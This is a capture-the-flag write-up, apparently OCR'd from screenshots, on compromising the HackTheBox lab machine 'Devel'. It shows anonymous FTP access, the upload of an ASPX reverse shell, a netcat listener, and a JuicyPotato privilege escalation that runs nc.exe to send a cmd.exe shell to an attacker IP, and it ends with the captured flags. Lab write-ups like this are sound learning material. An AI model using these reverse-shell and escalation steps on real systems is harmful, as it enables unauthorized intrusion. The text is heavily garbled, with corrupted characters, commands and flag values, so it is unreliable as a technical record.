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1 FOOTHOLD

Only two ports were found:

Found
Found

Microsoft FTP

0 5 A s al anonymous

331 Anonymous a allowed, send identity (e-mail name) as password.
mord:

p User logged in.

Remote system type is Windows_NT.

ftp> dir

20@ PORT command successful.

BeAM <DIR>
PM 689 iisstart.htm
37PM 184946 welcome.png

2 USER PRIVILEGE ESCALATION

A .aspx reverse shell was uploaded:

A borjmz / aspx-reverse-shell

<> Code |ssues Pull requests Actions Proj

$* master - aspx-reverse-shell / shell.aspx

-’ borjmz Add files via upload

Ax 1 contributor

423 lines (353 sloc) 15.6 KB

<i@ Page Language="C&" %=
<%@ Import MNamespace="System.Runtime.InteropServices" %=
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ftp> put c.aspx

local: c.aspx remote: cC.aspx

200 PORT command successful.

125 Data connection already open; Transfer starting.
226 Transfer complete.

1442 bytes sent in ©.8@0 secs (28.6500 MB/s)
ftp>

& 10.10.10.5

:~/hackthebox/Devel$ nc -lnvp 9123
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9123
Ncat: Listening on ©0.0.9.8:9123
Mcat: Connection from 18.1@.18.5.
Mcat: Connection from 19.19.18.5:49157.
Spawn Shell ...
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>

3 ADMIN PRIVILEGE ESCALATION

Selmpersonate is enabled, this calls for Juicypotato, however the system is 32bit so the correct version must be used:

c:hinetpubh\wwwroot>whoami Spriv
whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State

SeAssignPrimaryTokenPrivilege Replace a process lewvel token Disabled
SeIncreaseluotaPrivilege Adjust memory guotas for a process Disabled
SeShutdownPrivilege Shut down the system Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled

SeUndockPrivilege Remove computer from docking station Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled

SeCreateGlobalPrivilege Create global objects Enabled

SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
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B ivanitlearning / Juicy-Potato-x86

¢>» Code lssues 1 Pull requests Actions Projects <

¥ master ~ F 1branch (»2tags

"M ivanitlearning Update JuicyPotato x86.c

Juicy Potato x86
[  JuicyPotato-x86.png

[ README.md

README.md

¢ Juicy-Potato-x86

Upload nc.exe Juicypotato.exe via ftp (remember to activate binary mode in ftp):

cmd.exe -a "[fESRSTHEAGTILENTTUSLTIANEY G ©: windows\system32'cmd.exe 1@

netpubh\wwwrootinc.exe -e c:\windows\system32\cmd.exe 10.10.14.20 900@" -t

[+] authresul
{6d18ad12-bde }-b311-099c346e6df9}; NT AUTHORITYY

[+] CreateProcessWithTokenW OK

c:\inetpub\wwroot>[]

:~/hackthebox/Devel$ nc -lvnp 9008
Mcat: Wersion 7.91 ( https://nmap.org/ncat )

Ncat: Listening on :::9000
Listening on 0.0.0.0:9000
Connection from 10.18.18.5.
Connection from 1@.10.18.5:49180.

whoami
nt authority\system

C:\Windows\system32>
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c:\UsershAdministrator\Desktop>type root.txt
type root.txt
eb21a@b5@41788 797r4+:4.' DCc/Z2b4D

C:Z\Usershbabis\Desktop>type user.txt.txt
Lype user.txt.txt
Secddbalaedf24b41562fea7@f4chb3es
c:h\Users\babis\Desktop>
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